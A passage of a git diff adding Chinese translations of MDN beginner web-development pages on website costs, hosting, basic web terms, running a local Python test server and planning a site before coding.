id="网络访问">网络访问</h2> + +<h3 id="电脑_调制解调器">电脑 / 调制解调器</h3> + +<p>你需要一台电脑。费用根据你的预算和你住的地方而有很大的不同。 要发布准系统网站,你只需要一台能够启动编辑器和浏览器的基本计算机,因此整个的价格相当低。</p> + +<p>如果你要做更深入的设计,编辑图像,或是生产音频和视频文件,当然需要更高级的电脑。</p> + +<p>你要上传内容到远程服务器上(见下面的hosting),所以你需要一个调制解调器。更多时候你的网络服务提供商以每个月一些钱出租互联网连接给你。</p> + +<h3 id="互联网提供商连接">互联网提供商连接</h3> + +<p>确保你有足够的带宽</p> + +<ul> + <li>低带宽连接或许能够支持一个“简单的”网站(合理大小的图像,文本,一些层叠样式表CSS和JavaScript)。这些将会花费数十美元,包括租赁调制解调器。</li> + <li>另一方面,你可能需要更高级的数字用户线路,电缆,光纤通道如果你想要一个带有数以百计文件的大型网站或者你想要从ide网页服务器传输大量的音/视频。这可能花费的和低带宽连接一样,或者每个月几百美元用以专业使用。</li> +</ul> + +<h2 id="主机">主机</h2> + +<h3 id="理解带宽">理解带宽</h3> + +<p>主机供应商通过你网站消耗的带宽来收费。这些取决于在一个给定的时间内多少人或机器人访问你的内容、你的内容占用多少的服务空间(这就解释了为什么人们通常把他们的视频存储在比如Youtube、Dailymotion和Vimeo等专用服务上)。实际上,你的供应商可能 有个计划规定某个实例每天至多有几千访问的可用带宽用量(不同的主机供应商的规定通常都不同)。根据经验,考虑那些月付十到五十美元的个人主机。</p> + +<div class="note"> +<p>注意:从来没有“无限”带宽这样的东西。如果你真的需要消耗大量的带宽,等着付一大把的票子吧。</p> +</div> + +<h3 id="域名">域名</h3> + +<p>您的域名必须由域名提供商(注册商)购买。 您的托管服务提供商也可能是注册服务商(<a href="https://www.1and1.com/">1&1</a>,例如 <a href="https://www.gandi.net/?lang=en">甘地</a> 同时是注册商和托管服务提供商)。 域名通常每年花费5-15美元。 费用取决于:</p> + +<ul> + <li>地方合同(一些国家顶级域名的成本非常高,因为不同的国家设定了不同的价格)</li> + <li>与域名相关的服务:一些注册商通过将您的邮政地址和电子邮件地址隐藏在他们自己的地址后面来提供垃圾邮件保护(相应地,邮政地址可以提供给注册服务商,邮件地址可以隐藏在属于注册服务商的别名下)。</li> +</ul> + +<h3 id="自己动手托管与“打包”托管">自己动手托管与“打包”托管</h3> + +<p>当你想发布一个网站时,你可以自己做所有事情:建立一个数据库(如果需要的话),建立一个内容管理系统或{{Glossary("CMS")}}(如 <a href="http://wordpress.org/">Wordpress</a> , <a href="http://dotclear.org/">Dotclear</a> ,<a href="http://www.spip.net/en_rubrique25.html">spip</a> , 等等),上传预制的模板或你自己的模板。</p> + +<p>您还可以依赖您的托管服务提供商已设置的环境,通常每月支付十美元至十五美元的费用,或者直接通过预先打包的CMS(例如 <a href="http://wordpress.com/">Wordpress</a> ,<a href="https://www.tumblr.com/">Tumblr</a>,<a href="https://www.blogger.com/">Blogger</a> )直接订阅专用托管服务。 在后一种情况下,您不需要支付任何费用,但是您对模板的控制可能较少。</p> + +<h3 id="免费托管与付费托管对比">免费托管与付费托管对比</h3> + +<p>您可能会问,为什么在有这么多免费服务时,我还应该去支付我的托管费用?</p> + +<ol> + <li>当你付费,你有更多的自由。 你的网站是你的,你可以从一个主机提供商无缝迁移到下一个。</li> + <li>免费托管服务提供商可能会将您的内容广告添加到您的内容中,而不受您的控制</li> +</ol> + +<p>有些人选择了一种混合的方式:例如,将他们的主博客放在带有适当域名的付费主机上,并使用另一种免费服务来托管自发的,不太具有战略性的内容。</p> + +<h2 id="专业网站机构和托管">专业网站机构和托管</h2> + +<p>如果你想拥有一个专业的网站,你很可能会要求网络公司为你做这件事。</p> + +<p>这里的成本取决于多种因素,例如:</p> + +<ul> + <li>这是一个有几页文字的简单网站吗? 还是一个复杂的,长达千页的网站?</li> + <li>你想定期更新吗? 或者它将成为一个静态网站?</li> + <li>网站必须连接到公司的IT部门以收集内容(比如内部数据)吗?</li> + <li>你是否想要一些在当下的闪亮的新功能? (例如:在撰写本文时,页面客户端具有复杂视差)</li> + <li>您是否需要该机构来考虑用户信息或解决复杂的<code>{{Glossary("UX")}}</code>问题(例如,创建一个吸引用户的策略或者进行一些A 或 B测试以在几个想法中选择最佳解决方案)?</li> +</ul> + +<p>另外,为了托管的目的,</p> + +<ul> + <li>你是否想要冗余服务器,以防服务器故障吗?</li> + <li>95%的可靠性已经足够了,还是需要专业的全天候服务?</li> + <li>你需要高性能,高响应速度的专用服务器,还是只可以应付慢速共享的机器?</li> +</ul> + +<p>根据您对这些问题的选择,您的网站可能会花费数千到数十万美元。</p> + +<h2 id="下一步">下一步</h2> + +<p>现在您已经了解了您的网站可能会花费哪些方面的资金,现在该开始设计该网站,并<a href="/zh-CN/docs/Learn/Common_questions/set_up_a_local_testing_server">设置您的工作环境</a>了。</p> + +<ul> + <li>阅读<a href="/zh-CN/docs/Learn/Common_questions/实用文本编辑器">如何选择和安装文本编辑器</a> 。</li> + <li>如果您更专注于设计,请查看<a href="/zh-CN/Learn/Anatomy_of_a_web_page">网页的解剖结构</a> 。</li> +</ul> diff --git a/files/zh-cn/learn/common_questions/index.html b/files/zh-cn/learn/common_questions/index.html new file mode 100644 index 0000000000..fed77b5cb7 --- /dev/null +++ b/files/zh-cn/learn/common_questions/index.html @@ -0,0 +1,128 @@ +--- +title: 常见问题 +slug: Learn/Common_questions +tags: + - 基础知识 + - 学习 + - 网络 + - 网络工程 + - 脚本语言 +translation_of: Learn/Common_questions +--- +<p class="summary">学习区域的这一部分旨在为可能出现的常见问题提供答案,这些问题不一定是结构化的核心学习途径的一部分 (例如:<a href="/zh-CN/docs/learn/HTML">HTML</a> 或 <a href="/zh-CN/docs/Learn/CSS">CSS</a> 的学习文章。) 这些文章旨在自己工作。</p> + +<h2 id="Web怎样工作">Web怎样工作</h2> + +<p>本部分涵盖Web机制 - 与Web生态系统的一般知识及其工作原理相关的问题。</p> + +<dl> + <dt> + <h3 id="互联网是怎么工作的?"><a href="/zh-CN/docs/learn/How_the_Internet_works">互联网是怎么工作的?</a></h3> + </dt> + <dd>互联网是Web的基石,是让Web变得可能的基础设施。本质上来说,互联网是一个大型的相互交流的计算机网络。本文讨论了它在底层是如何工作的。</dd> + <dt> + <h3 id="网页,网站,网络服务器和搜索引擎的区别是什么?"><a href="/zh-CN/docs/learn/常见问题/网页,网站,网页服务器和搜索引擎的区别是什么?">网页,网站,网络服务器和搜索引擎的区别是什么?</a></h3> + </dt> + <dd>本文中我们讲述了各种和Web相关的概念:网页,网站,网络服务器,以及搜索引擎。这些概念常常被网络新手混淆,或者被误用。让我们看看它们到底代指的是什么吧!</dd> + <dt> + <h3 id="什么是URL?"><a href="https://developer.mozilla.org/zh-CN/docs/learn/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98/What_is_a_URL">什么是URL?</a></h3> + </dt> + <dd>利用 {{Glossary("Hypertext")}} and {{Glossary("HTTP")}}, URL 网络上的关键概念之一。 它现在是 {{Glossary("Browser","browsers")}} 用来在网络上检索任何已经发布的资源的主要机制。</dd> + <dt> + <h3 id="什么是域名?"><a href="/zh-CN/docs/learn/常见问题/What_is_a_domain_name">什么是域名?</a></h3> + </dt> + <dd>域名是互联网基础架构的关键部分。它们为互联网上任何可用的网络服务器提供了人类可读的地址。</dd> + <dt> + <h3 id="什么是网络服务器?"><a href="/zh-CN/docs/learn/常见问题/What_is_a_web_server">什么是网络服务器?</a></h3> + </dt> + <dd>术语“Web服务器”可以指在Web上向客户端提供网站的硬件或软件,或者两者一起工作。在本文中,我们将讨论Web服务器如何工作,以及为什么它们是重要的。</dd> + <dt> + <h3 id="什么是超链接?"><a href="/zh-CN/docs/learn/常见问题/What_are_hyperlinks">什么是超链接?</a></h3> + </dt> + <dd>在本文中,我们将讨论超链接是什么,以及它们为什么重要。</dd> +</dl> + +<h2 id="工具和安装">工具和安装</h2> + +<p>与可用于构建网站的工具/软件相关的问题。</p> + +<dl> + <dt> + <h3 id="在网上做点什么需要花多少钱?"><a href="/zh-CN/docs/Learn/Common_questions/How_much_does_it_cost">在网上做点什么需要花多少钱?</a></h3> + </dt> + <dd>当您推出网站时,您可能没有花费,或者您的费用可能会爆表。在这篇文章中,我们讨论了多少一切成本和你得到什么你支付(或不支付)</dd> + <dt> + <h3 id="你需要什么软件用来造一个网站"><a href="/zh-CN/docs/Learn/Common_questions/What_software_do_I_need">你需要什么软件用来造一个网站?</a></h3> + </dt> + <dd>在本文中,我们将解释在编辑,上传或查看网站时需要使用哪些软件组件。</dd> + <dt> + <h3 id="什么文本编辑器比较好用"><a href="/zh-CN/docs/Learn/Common_questions/%E5%AE%9E%E7%94%A8%E6%96%87%E6%9C%AC%E7%BC%96%E8%BE%91%E5%99%A8">什么文本编辑器比较好用?</a></h3> + </dt> + <dd>在本文中,我们重点介绍在选择和安装用于Web开发的文本编辑器时需要考虑的一些事项。</dd> + <dt> + <h3 id="怎么搭建一个基础的开发环境"><a href="/zh-CN/docs/Learn/Common_questions/set_up_a_local_testing_server">怎么搭建一个基础的开发环境?</a></h3> + </dt> + <dd>当在一个web项目上工作时,你需要在本地测试它,然后再显示给世界。一些类型的代码需要一个服务器来测试, 在本文中,我们将向您介绍如何设置。我们还将介绍如何将可扩展的结构放置到位,这样即使您的项目变大,您的文件仍然保持有序。</dd> + <dt> + <h3 id="什么是浏览器开发者工具?"><a href="/zh-CN/docs/Learn/Discover_browser_developer_tools">什么是浏览器开发者工具?</a></h3> + </dt> + <dd>每个浏览器都有一组devtools,用于调试HTML,CSS和其他Web代码。本文解释如何使用浏览器的devtools的基本功能。</dd> + <dt> + <h3 id="你怎么来确保你的网站顺利的运行?"><a href="/zh-CN/docs/Learn/Common_questions/Checking_that_your_web_site_is_working_properly"> 你怎么来确保你的网站顺利的运行?</a></h3> + </dt> + <dd>所以你已经在网上发布了你的网站 - 非常好!但你确定它工作正常吗?本文提供一些基本的故障排除步骤。</dd> + <dt> + <h3 id="怎么上传文件们到服务器?"><a href="/zh-CN/docs/Learn/Common_questions/Upload_files_to_a_web_server">怎么上传文件们到服务器?</a></h3> + </dt> + <dd>本文介绍如何使用FTP工具在线发布您的网站 - 这是一种使网站上线的最常见方法,以便其他人可以通过计算机访问网站。</dd> + <dt> + <h3 id="怎么使用_GitHub_Pages"><a href="/zh-CN/docs/Learn/Common_questions/Using_Github_pages">怎么使用 GitHub Pages?</a></h3> + </dt> + <dd>本文提供了使用GitHub的gh-pages功能发布内容的基本指南。</dd> + <dt> + <h3 id="如何在Google_App_Engine上托管你的网站"><a href="/zh-CN/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">如何在Google App Engine上托管你的网站?</a></h3> + </dt> + <dd>寻找一个托管您的网站的地方?以下是在Google App Engine上托管您的网站的分步指南。</dd> + <dt> + <h3 id="有哪些工具可用于调试和提高网站性能"><a href="/zh-CN/docs/Tools/Performance">有哪些工具可用于调试和提高网站性能?</a></h3> + </dt> + <dd>这组文章向您展示了如何使用Firefox中的开发工具来调试和提高网站性能,使用工具检查内存使用情况,JavaScript调用树,渲染的DOM节点数量等。</dd> +</dl> + +<h2 id="设计和可访问性">设计和可访问性</h2> + +<p>本节列出了与美学,页面结构,辅助功能等相关的问题。</p> + +<dl> + <dt> + <h3 id="我该怎样开始设计我的网站?"><a href="/zh-CN/docs/learn/常见问题/Thinking_before_coding">我该怎样开始设计我的网站?</a></h3> + </dt> + <dd>本文涵盖了每个项目的所有重要的第一步:定义你想要完成的任务。</dd> + <dt> + <h3 id="一般的网页布局是怎样的"><a href="/en-US/docs/Learn/Common_questions/Common_web_layouts">一般的网页布局是怎样的?</a></h3> + </dt> + <dd>在为您的网站设计网页时,最好了解最常见的布局。这篇文章运行一些典型的网页布局,看看组成每一个的部分。</dd> + <dt> + <h3 id="何为可访问性?"><a href="/zh-CN/docs/learn/常见问题/What_is_accessibility">何为可访问性?</a></h3> + </dt> + <dd>这篇文章介绍了可访问性背后的一些基本概念</dd> + <dt> + <h3 id="怎么设计才能适用于所有用户"><a href="/en-US/docs/Learn/Common_questions/Design_for_all_types_of_users">怎么设计才能适用于所有用户?</a></h3> + </dt> + <dd>本文提供了基本的技术,以帮助您为任何类型的用户设计网站 - 快速无障碍获胜和其他这样的事情。</dd> + <dt> + <h3 id="残疾人的特殊关怀"><a href="/en-US/docs/Learn/Common_questions/HTML_features_for_accessibility">残疾人的特殊关怀?</a></h3> + </dt> + <dd>本文介绍了HTML的特定功能,可用于使不同残疾人更容易访问网页。</dd> + <dt> + <h2 id="HTMLCSS和JavaScript_问题">HTML,CSS和JavaScript 问题</h2> + + <p>对于HTML / CSS / JavaScript问题的常见解决方案,请尝试以下文章:</p> + + <ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto">使用HTML解决常见问题</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Howto">使用CSS解决常见问题</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Howto">使用 JavaScript 解决常见问题</a></li> + </ul> + </dt> +</dl> diff --git a/files/zh-cn/learn/common_questions/pages_sites_servers_and_search_engines/index.html b/files/zh-cn/learn/common_questions/pages_sites_servers_and_search_engines/index.html new file mode 100644 index 0000000000..38440aea8d --- /dev/null +++ b/files/zh-cn/learn/common_questions/pages_sites_servers_and_search_engines/index.html @@ -0,0 +1,101 @@ +--- +title: 网页,网站,网络服务器和搜索引擎的区别是什么? +slug: Learn/Common_questions/Pages_sites_servers_and_search_engines +tags: + - 初学者 +translation_of: Learn/Common_questions/Pages_sites_servers_and_search_engines +--- +<div class="summary"> +<p><span class="seoSummary">在本文中我们描述了各种与网络相关的概念:网页,网站,网络服务器,以及搜索引擎。这些概念常被网络新手混淆,或被误用。让我们看看它们到底代指的是什么吧!</span></p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>了解 <a href="/zh-CN/docs/learn/How_the_Internet_works">互联网是怎么工作的</a></td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解网页,网站,网络服务器和搜索引擎间的区别</td> + </tr> + </tbody> +</table> + +<h2 id="概述">概述</h2> + +<p>正如任何领域的知识一样,网络也有很多的术语。别担心,我们不会把你淹没在这些术语里的(但如果你感兴趣的话,我们也弄了一个<a href="https://developer.mozilla.org/zh-CN/docs/Glossary">术语表</a>)然而,一开始你还是需要了解一些基本概念,因为当你读下去的时候,这些词汇会一再出现。有时候这些概念容易被混淆,因为他们指的是相关但不同的功能。事实上,有时你会见到这些概念在新闻中或者其他地方被误用,所以把他们弄混了也是情有可原的!</p> + +<p>随着进一步地探讨,我们将会涵盖这些概念和技术的方方面面,但以下的这些简单定义可以帮助你快速开始:</p> + +<dl> + <dt>网页(webpage)</dt> + <dd>一份能够显示在网络浏览器(如Firefox,,Google Chrome,Microsoft Internet Explorer 或Edge,Apple的Safari)上的文档。网页也常被称作"web pages"(网页)或者就叫"pages"(页面)。</dd> + <dt>网站(website)</dt> + <dd>一个由许多组合在一起,并常常以各种方式相互连接的网页组成的集合。网站常被称作"web site"(网站)或简称"site"(站点)。</dd> + <dt>网络服务器(web server)</dt> + <dd>一个在互联网上托管网站的计算机。</dd> + <dt>搜索引擎(search engine)</dt> + <dd>帮助你寻找其他网页的网站,比如Google,Bing,或Yahoo。</dd> +</dl> + +<h2 id="自主学习">自主学习</h2> + +<p><em>还没有可用的资料。<a href="https://developer.mozilla.org/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p> + +<h2 id="深入探索">深入探索</h2> + +<p>所以,让我们深入了解这四个术语是如何相关联的以及为什么有时会相互混淆。</p> + +<h3 id="网页">网页</h3> + +<p>一份网页文档是交给{{Glossary("浏览器")}}显示的简单文档。这种文档是由{{Glossary("超文本标记语言HTML")}}来编写的(在<a href="https://developer.mozilla.org/en-US/docs/Web/HTML">other articles</a>可查看更多详细内容)。网页文档可以插入各种各样不同类型的资源,例如:</p> + +<ul> + <li><em>样式信息</em> — 控制页面的观感</li> + <li><em>脚本</em>— 为页面添加交互性</li> + <li><em>多媒体</em>— 图像,音频,和视频</li> +</ul> + +<div class="note"> +<p><strong>提示: 浏览器也能显示其他文档,例如</strong>{{Glossary("PDF")}}<strong>文件或图像,但网页(webpage)这一概念专指HTML文档。其他情况我们则只会使用文档(document)这一概念</strong></p> +</div> + +<p>网络上所有可用的网页都可以通过一个独一无二的地址访问到。要访问一个页面,只需在你的浏览器地址栏中键入页面的地址。 </p> + +<p style="text-align: center;"><img alt="Example of a web page address in the browser address bar" src="https://mdn.mozillademos.org/files/8529/web-page.jpg" style="height: 239px; width: 650px;"></p> + +<h3 id="网站">网站</h3> + +<p>网站是共享唯一域名的相互链接的网页的集合。给定网站的每个网页都提供了明确的链接—一般都是可点击文本的形式—允许用户从一个网页跳转到另一个网页。</p> + +<p>要访问网站,请在浏览器地址栏中输入域名,浏览器将显示网站的主要网页或主页。</p> + +<p><img alt="Example of a web site domain name in the browser address bar" src="https://mdn.mozillademos.org/files/8531/web-site.jpg" style="display: block; height: 365px; margin: 0px auto; width: 650px;"></p> + +<p><em>当网站只包含一个网页时,网站和网页二者尤其容易弄混。这样的网站有时称之为单页网站(single-page website)。</em></p> + +<h3 id="网络服务器">网络服务器</h3> + +<p>一个网络服务器是一台托管一个或多个网站的计算机。 "托管"意思是所有的网页和它们的支持文件在那台计算机上都可用。网络服务器会根据每位用户的请求,将任意网页从托管的网站中发送到任意用户的浏览器中。</p> + +<p><em>别把</em><em><em>网站和网络服务器弄混了</em>。</em>例如,当你听到某人说:"我的网站没有响应",这实际上指的是网络服务器没响应,并因此导致网站不可用。更重要的是,自从一个网络服务器能够托管多个网站,"网络服务器"这个术语从来都没被用来指定一个网站,因为这可能导致很大的混乱。在上面的例子中,如果我们说,“我的网络服务器没有响应”,这就指的是在那台网络服务器上的所有网页都不可用。</p> + +<h3 id="搜索引擎">搜索引擎</h3> + +<p>搜索引擎是网络上常见的混乱之源。搜索引擎是一个特定类型的网站,用以帮助用户在其他网站中寻找网页。</p> + +<p>搜索引擎数不胜数,有<a href="https://www.google.com/">Google</a>, <a href="https://www.bing.com/">Bing</a>, <a href="https://www.yandex.com/">Yandex</a>, <a href="https://duckduckgo.com/">DuckDuckGo</a>等等。其中有的功能宽泛,有的专注于特定的主题。你可按需使用。</p> + +<p>许多网上的初学者将搜索引擎和浏览器混淆了。让我们明确一下:浏览器是一个接收并显示网页的软件,搜索引擎则是一个帮助用户从其他网站中寻找网页的网站。这种混淆之所以出现是因为当一个人打开一个浏览器的时候,浏览器展现的是一个搜索引擎的主页。这有什么意义呢?很明显,因为你打开浏览器要做的第一件事就是去寻找一个网站。不要把基础设施(浏览器)和服务(搜索引擎)混淆。这种区分会对你很有帮助,但是甚至有些专业人员也还把它们说得很宽泛,所以不用对这种区分太过谨慎。</p> + +<p>下图是一个火狐浏览器把谷歌搜索框当作它默认开始页面的实际例子:</p> + +<p><img alt="Example of Firefox nightly displaying a custom Google page as default" src="https://mdn.mozillademos.org/files/8533/search-engine.jpg" style="display: block; height: 399px; margin: 0px auto; width: 650px;"></p> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>继续探索: <a href="/zh-CN/docs/Learn/Common_questions/What_is_a_web_server">网络服务器</a></li> + <li>看网页是如何被链接到网站中的:<a href="/zh-CN/docs/Learn/Common_questions/What_are_hyperlinks">理解超链接</a></li> +</ul> diff --git a/files/zh-cn/learn/common_questions/set_up_a_local_testing_server/index.html b/files/zh-cn/learn/common_questions/set_up_a_local_testing_server/index.html new file mode 100644 index 0000000000..72afea5060 --- /dev/null +++ b/files/zh-cn/learn/common_questions/set_up_a_local_testing_server/index.html @@ -0,0 +1,98 @@ +--- +title: 如何设置一个本地测试服务器? +slug: Learn/Common_questions/set_up_a_local_testing_server +tags: + - 初学者 + - 服务器 +translation_of: Learn/Common_questions/set_up_a_local_testing_server +--- +<div class="summary"> +<p>本文将会介绍如何在你的计算机上安装一个简单的本地测试服务器,以及它的基本用法。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>你需要知道<a href="https://developer.mozilla.org/zh-CN/docs/learn/How_the_Internet_works">互联网是怎么工作的</a>,以及<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Common_questions/What_is_a_web_server">什么是网络服务器</a>。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>你将学习如何配置本地测试服务器。</td> + </tr> + </tbody> +</table> + +<h2 id="本地文件与远程文件">本地文件与远程文件</h2> + +<p>在大多数示例中,我们告诉你只需在浏览器中直接打开您的示例,有很多方法可以实现这一点,你可以通过双击 HTML 文件或将其拖拽到浏览器窗口中,或者在浏览器中选择 <code>文件 > 打开... </code> 选择 HTML 文件等。</p> + +<p>如果你打开的是本地示例的话,你可以在地址栏看到这个地址是以 <code>file://</code> 开头的,接着本地硬盘上该示例文件的路径。相比之下,如果你查看的是我们在 GitHub 上托管的示例(或其他远程服务器上的示例),Web 地址会以 <code>http://</code> 或 <code>https://</code> 开头,说明该文件是通过 HTTP 传输的。</p> + +<h2 id="测试本地文件存在的问题">测试本地文件存在的问题</h2> + +<p>某些示例如果你将其作为本地文件打开的话,它将不会运行。 这可能是由于各种原因,最有可能是:</p> + +<ul> + <li><strong>它们具有异步请求。</strong> 如果你只是从本地文件运行示例,一些浏览器(包括 Chrome)将不会运行异步请求(请参阅 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">从服务器获取数据</a>)。 这是因为安全限制(更多关于 Web 安全的信息,请参阅 <a href="https://developer.mozilla.org/zh-CN/docs/learn/Server-side/First_steps/Website_security">站点安全</a>)。</li> + <li><strong>它们具有服务端代码。</strong> 服务器端语言(如 PHP 或 Python)需要一个特殊的服务器来解释代码并提供结果。</li> +</ul> + +<h2 id="运行一个简单的本地_HTTP_服务器">运行一个简单的本地 HTTP 服务器</h2> + +<p><font><font>为了解决异步请求的问题,我们需要通过在本地Web服务器上运行这些示例来测试这些示例。</font><font>为我们的目的,最简单的方法之一就是使用Python的</font></font><code>SimpleHTTPServer</code><font><font>模块。</font></font></p> + +<p>我们需要:</p> + +<ol> + <li> + <p><font>安装Python。</font><font>如果您正在使用Linux或Mac OS X,则应该已经在您的系统上可用。</font><font>如果您是Windows用户,则可以从Python主页获取安装程序,并按照说明进行安装:</font></p> + + <ul> + <li><font><font>转到</font></font><a href="https://www.python.org/"><font><font>python.org</font></font></a></li> + <li><font><font>在“下载”部分下,单击Python“3.xxx”的链接。</font></font></li> + <li><font><font>在页面的底部,选择</font></font><em><font><font>Windows x86可执行文件安装程序</font></font></em><font><font>并下载它。</font></font></li> + <li><font><font>当它已经下载,运行它。</font></font></li> + <li><font><font>在第一个安装程序页面上,确保选中了“将Python 3.xxx添加到PATH”复选框。</font></font></li> + <li><font><font>单击</font></font><em><font><font>安装</font></font></em><font><font>,然后</font><font>在安装完成</font><font>后单击</font></font><em><font><font>关闭</font></font></em><font><font>。</font></font></li> + </ul> + </li> + <li> + <p><font>打开你的命令提示符(Windows)/终端(OS X / Linux)。</font><font>要检查Python是否安装,请输入以下命令:</font></p> + + <pre class="brush: bash">python -V</pre> + </li> + <li> + <p><font><font>下面应该给出你安装的版本号</font><font>,使用</font></font><code>cd</code><font><font>命令</font><font>导航到您的示例所在的目录</font><font>。</font></font></p> + + <pre class="brush: bash"># 输入你想要进入的目录,举例 +cd Desktop +# 用两个点来表示进入上一层级的目录 +cd ..</pre> + </li> + <li> + <p>输入命令在该目录中启动服务器:</p> + + <pre><font><font>#如果上面返回的Python版本是3.X </font></font><font><font> +python -m http.server </font></font><font><font> +#如果上面返回的Python版本是2.X </font></font><font><font> +python -m </font></font><code>SimpleHTTPServer</code></pre> + </li> + <li> + <p><font><font>默认情况下,这将在本地Web服务器上的端口8000上运行目录的内容。您可以通过转到</font></font><code>localhost:8000</code><font><font>Web浏览器中</font><font>的URL来访问此服务器</font><font>。</font><font>在这里你会看到列出的目录的内容 - 点击你想运行的HTML文件。</font></font></p> + </li> +</ol> + +<div class="note"> +<p><strong><font><font>注意</font></font></strong><font><font>:如果您已经在端口8000上运行了某些东西,则可以通过运行server命令,然后选择另一个端口号(例如</font></font><code>python -m http.server 7800</code><font><font> (Python 3.x)或</font></font><code>python -m SimpleHTTPServer 7800</code><font><font> (Python 2.x))</font><font>来选择另一个端口</font><font>。</font><font>然后您可以访问您的内容</font></font><code>localhost:7800</code><font><font>。</font></font></p> +</div> + +<h2 id="在本地运行服务器端语言"><font><font>在本地运行服务器端语言</font></font></h2> + +<p><font><font>Python的</font></font><code>SimpleHTTPServer</code><font><font>模块是有用的,但它不知道如何运行用PHP或Python等语言编写的代码。</font><font>为了处理这个问题,你需要更多的东西 - 正是你需要的东西取决于你正在运行的服务器端语言。</font><font>这里有几个例子:</font></font></p> + +<ul> + <li><font><font>要运行Python服务器端代码,您需要使用 Python 网络框架。</font><font>您可以通过阅读</font></font><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django"><font><font>Django Web Framework(Python)</font></font></a><font><font>来了解如何使用Django框架</font><font>。</font></font><a href="http://flask.pocoo.org/">Flask</a><font><font>也是一个不错的选择(稍微轻量一点)。</font><font>要运行Flask,你需要先</font></font><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/development_environment#Installing_Python_3"><font><font>安装Python / PIP</font></font></a><font><font>,然后使用</font></font><code>pip3 install flask </code>来安装Flask<font><font>。</font><font>此时,您应该能够运行Python Flask示例</font></font><code>python3 python-example.py</code><font><font>,然后在</font></font><font><font>您的浏览器中打开 <code>localhost:5000</code> 查看。</font></font></li> + <li><font><font>要运行Node.js(JavaScript)服务器端代码,您可以直接使用Node或选择构建于其上的框架。</font><font>Express是一个不错的选择 - 请参阅</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Express_Nodejs"><font><font>Express Web Framework(Node.js / JavaScript)</font></font></a><font><font>。</font></font></li> + <li><font><font>要运行PHP服务器端代码,您需要一个可以解释PHP的服务器设置。</font><font>本地PHP测试的好选择是</font></font><a href="https://www.mamp.info/en/downloads/"><font><font>MAMP</font></font></a><font><font>(Mac和Windows), </font></font><a href="http://ampps.com/download"><font><font>AMPPS</font></font></a><font><font>(Mac,Windows,Linux)和</font></font><a href="https://www.linux.com/learn/easy-lamp-server-installation"><font><font>LAMP</font></font></a><font><font>(Linux,Apache,MySQL和PHP / Python / Perl)。</font><font>这些是完整的包,创建本地设置,允许您运行Apache服务器,PHP和MySQL数据库。</font></font></li> +</ul> diff --git a/files/zh-cn/learn/common_questions/thinking_before_coding/index.html b/files/zh-cn/learn/common_questions/thinking_before_coding/index.html new file mode 100644 index 0000000000..6a2bde0492 --- /dev/null +++ b/files/zh-cn/learn/common_questions/thinking_before_coding/index.html @@ -0,0 +1,169 @@ +--- +title: 我该怎样开始设计我的网站? +slug: Learn/Common_questions/Thinking_before_coding +translation_of: Learn/Common_questions/Thinking_before_coding +--- +<p class="summary">这篇文章介绍了所有项目最重要的第一步:确定你想要做什么</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>无</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学会设定目标来给自己的web项目导航</td> + </tr> + </tbody> +</table> + +<h2 id="概述">概述</h2> + +<p><span class="seoSummary">当刚开始一个Web项目时,大多数人所关心更多是技术方面。当然你必须先能熟练运用各种工具,但是最关键的其实是你想要做出一个怎样的产品。这看上去很简单,但是有很多的项目的失败并不是因为缺少相应的技术水平,而是缺少一个明确的目标。</span></p> + +<p>所以当你有一个想法并且想把它付诸实践的话,在一切启动之前你首先要问一问自己下面这几个问题:</p> + +<ul> + <li>我到底想完成什么?</li> + <li>网站如何实现我的目标?</li> + <li>做什么,以怎样的顺序,才能达成我的目标?</li> +</ul> + +<p>这就是项目构思(<em>project ideation</em>),这是达成你目标的第一步,无论你是初学者还是经验丰富的开发者。</p> + +<h2 id="自主学习">自主学习</h2> + +<p><em>暂时还没有相关内容 <a href="https://developer.mozilla.org/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p> + +<h2 id="深入探索">深入探索</h2> + +<p>一个项目永远不应该从技术的一方开始建立。音乐家没办法谱写任何旋律除非他知道他要创作出怎样的歌曲,对于画家、作家、Web开发者来说同样如此。技术是我们接下来才需要考虑的。</p> + +<p>技术显然是重要的。音乐家必须精通他们手中的乐器。但再好的音乐家也不能在没有想法的情况下制作出美妙的音乐。因此,在我们考虑技术(采用怎样的编程语言和工具)之前,你首先应该停下来好好想一想关于你想要做出的产品的各种细节。</p> + +<p>和朋友们讨论讨论你的想法是一个好的开始,但是光这样还不够。你需要安静地坐下来好好捋一捋你的想法,为了能有一个清晰的思路关于如何实现你的想法。想要做到这些,你只需要一支笔和一张纸并回答下面这些问题。</p> + +<div class="note"> +<p><strong>注意:</strong> 有数不清的方法来实现你的想法,这里就不一一列举了。(不单独写本书不足以说明它)我们这里只采用一些简单的方法来处理专业人士所谓的 <a href="http://en.wikipedia.org/wiki/Ideation_(idea_generation)">项目想法</a>, <a href="http://en.wikipedia.org/wiki/Project_planning">项目计划</a>和<a href="http://en.wikipedia.org/wiki/Project_management">项目管理</a>。</p> +</div> + +<h3 id="我到底想完成什么?">我到底想完成什么?</h3> + +<p>这是你需要想清楚的最重要的问题,因为它主导着所有其它的事情。列出你想要达到的所有目标。这个目标可以是任何事情:销售商品来赚钱、发表时政评论......</p> + +<p>假设你是一位音乐家,你可能希望:</p> + +<ul> + <li>让人们听你的音乐</li> + <li>卖糖果</li> + <li>拜会其他的音乐家</li> + <li>谈论你的音乐</li> + <li>通过视频教授音乐</li> + 